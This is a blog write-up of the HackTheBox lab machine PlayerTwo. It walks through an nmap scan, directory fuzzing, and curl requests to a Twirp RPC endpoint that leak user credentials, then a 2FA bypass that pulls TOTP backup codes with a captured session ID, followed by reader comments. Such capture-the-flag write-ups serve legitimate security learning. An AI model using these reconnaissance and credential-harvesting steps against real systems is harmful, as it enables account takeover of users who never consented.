HTB PlayerTwo Bypass 2FA Using Backup code – (Two-factor authentication) |

The recent HackTheBox machine is another hardest machine they released recently. This machine focuses 2FA (Two-factor authentication), bypassing 2FA authentication, OTP and reversing binary. In today’s post I’m going to write about the steps I used to bypass the 2FA using Burp, cURL, and WFuzz.

To begin with, I’ve added machine Ip to etc/hosts as player2.htb in my Kali Linux and started nmap port scan to find ports and services running.

 ⚡ ⚙  root@ns09~/htb/player2 nmap -p- -sV -sC player2.htb
Starting Nmap 7.80 ( ) at 2019-12-25 19:11 +03
SYN Stealth Scan Timing: About 90.58% done; ETC: 19:27 (0:01:27 remaining)
Nmap scan report for player2.htb (
Host is up (0.39s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 0e:7b:11:2c:5e:61:04:6b:e8:1c:bb:47:b8:4d:fe:5a (RSA)
|   256 18:a0:87:56:64:06:17:56:4d:6a:8c:79:4b:61:56:90 (ECDSA)
|_  256 b6:4b:fc:e9:62:08:5a:60:e0:43:69:af:29:b3:27:14 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Player2 | Home
8545/tcp open  http    (PHP 7.2.24-0ubuntu0.18.04.1)
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 25 Dec 2019 16:29:21 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/nice%20ports%2C/Tri%6Eity.txt%2ebak"","meta":{"twirp_invalid_route":"GET /nice%20ports%2C/Tri%6Eity.txt%2ebak"}}
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 25 Dec 2019 16:29:09 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"GET /"}}
|   HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 25 Dec 2019 16:29:10 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"OPTIONS /"}}
|   OfficeScan: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 25 Dec 2019 16:29:24 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|_    {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"GET /"}}
|_http-title: Site doesn't have a title (application/json).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 435.46 seconds
 ⚡ ⚙  root@ns09~/htb/player2

The namp scan revealed ports 22, 80 and 8545 are open. Upon checking the port 80, the website has some screenshots of MrR3boot’s previous machine Player (Writeup here) and a send message box.

The send message box looks very simple, a response is a javascript alert “Thanks for your visit. Will get back to you as soon as we can!“. I tried to capture using Burp, but couldn’t see much things going behind.

The port 8545 throws an error that"{"code":"bad_route","msg":"no handler for path \"\/\"","meta":{"twirp_invalid_route":"GET \/"}}" includes ” twirp_invalid_route”, which means the machine possibly using the Twirp RPC framework.

To move further, I used dirbuster to find the subdomains and virtual directories, I found a few of them but they are all “forbidden”, probably the directories only available after login-in to the system. I as well found that there is an instance of PHP Dependency Manager called Composer is stalled. After a while, I found a directory called “product.player2.htb” which is actually a login page. The Dirb as well revealed the API page

So far I couldn’t get any useful info handy, I started to enum the directories found when I dirb one by one. I let my all-time fav WFuzz for work using the biggest possible wordlist megabeast.txt.

The WFuzz found a configuration called “generated.proto” that seems to be used for authentication purposes or to generate some type of authentication codes. Let us play with it for a while.

So, I found a configuration file that I could potentially use to exploit the system. The documentation from Twirp says a lot about the service. Twirp works over HTTP 1.1 and all the RPC methods map to routes that follow the "POST /twirp/<package>.<Service>/<Method>"format. And also the documentation says how to make the request on the command line using cURL.

curl --request "POST" \
     --location "http://localhost:8080/twirp/twirp.example.haberdasher.Haberdasher/MakeHat" \
     --header "Content-Type:application/json" \
     --data '{"inches": 10}' \

Using the help from documentation and the configuration file generated.proto, I created a tiny cURL script to see what this “generated.proto” actually does. After tens of failed attempts, I finally made a working script that gets (or generates) credentials for some of the users. I suppose the credentials are one time passwords because it keeps changes in every request.

I tried to use the credentials to log in, most of them didn’t work. But the password of MProx worked(mprox:tR@dQnwnZEk95*6#), I was able to log in, however, the system has 2FA with OTP (One Time Password) enabled. I was asked to enter OTP or the backup codes. I tried rest users, unfortunately, OTP or the back codes seems to be a must to login.

Let us see what’s going behind the scene when I logged-in. I fired-up Burp to captured the behind the requests from my browser to the web server and vice-versa. There is nothing much going behind the scene, a PHP session Id is generated for each login. Let us see if I can do something using session id.


After struggling a lot, I finally approached the HTB Discord server and got a hint that the API is TOTP. The TOTP is Time-based One-time Passwords and is a common form of Two-factor Authentication. Unique numeric passwords are generated with an algorithm that uses the current time as an input. The time-based passwords expire and therefore offer increased security for 2FA. TOTP is also known as a soft token. Ref. This hint was practically confirmed by going the page /api/totp.

The further steps are actually not bypassed the 2FA, instead, I get the backup code from the API using cURL and login to the portal. Firstly, I need to get a fresh list of credentials using cURL and then log in, using BURP to intercept the request, get the PHPSessionID and use that session-id to send cURL request again and get the backup code and then use backup code as OTP/Password. Let us see how it goes.

Getting the Credentials:
  ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"0xdf","pass":"ze+EKe-SGF^5uZQX"}#                                                                                                                                                                                                     ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"0xdf","pass":"XHq7_WJTA?QD_?E2"}#                                                                                                                                                                                                     ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"snowscan","pass":"ze+EKe-SGF^5uZQX"}#                                                                                                                                                                                                 ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"jkr","pass":"tR@dQnwnZEk95*6#"}#                                                                                                                                                                                                      ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"0xdf","pass":"tR@dQnwnZEk95*6#"}#                                                                                                                                                                                                     ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"mprox","pass":"ze+EKe-SGF^5uZQX"}#                                                                                                                                                                                                    ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"snowscan","pass":"tR@dQnwnZEk95*6#"}#                                                                                                                                                                                                 ⚡  root@ns09  ~/htb/player2  curl -X POST --header "Content-Type:application/json" --data '{}' "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" 
{"name":"mprox","pass":"tR@dQnwnZEk95*6#"}#                                                                                                                                                                                                    ⚡  root@ns09  ~/htb/player2  

Once I have enough credentials, I tried one by one until at least one working creds. From the creds, I have user snowscan worked. I used the Burp to intercept the login-in request and captured the PHPSessionID. PHPSESSID=19vid90mqcqm043nqedg4qr3he

Once I forward the request, I’m now on 2FA page to enter the OTP or Backup code. The OTP has been sent to the registered mobile number which I don’t know and the backup code which normally creates when the new account was created.

The next step is to bypass the 2FA using the backup codes saved in the server. So, from the hints I got here and there, I used the cURL to get the backup code of SnowScan. After using the “code” as OTP I was successfully logged-in to the portal “Products”. It is not necessary that only SnowScan code works all the time when I tried to re-do the steps I was able to log in as mprox.

That’s it.


Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile:

You may also like...

Notify of
Newest Most Voted
Inline Feedbacks
View all comments
7 months ago

its not clear for got the hash root

liang wang
liang wang
Reply to  Navin
6 months ago

how to get the root

Sorry, that action is blocked.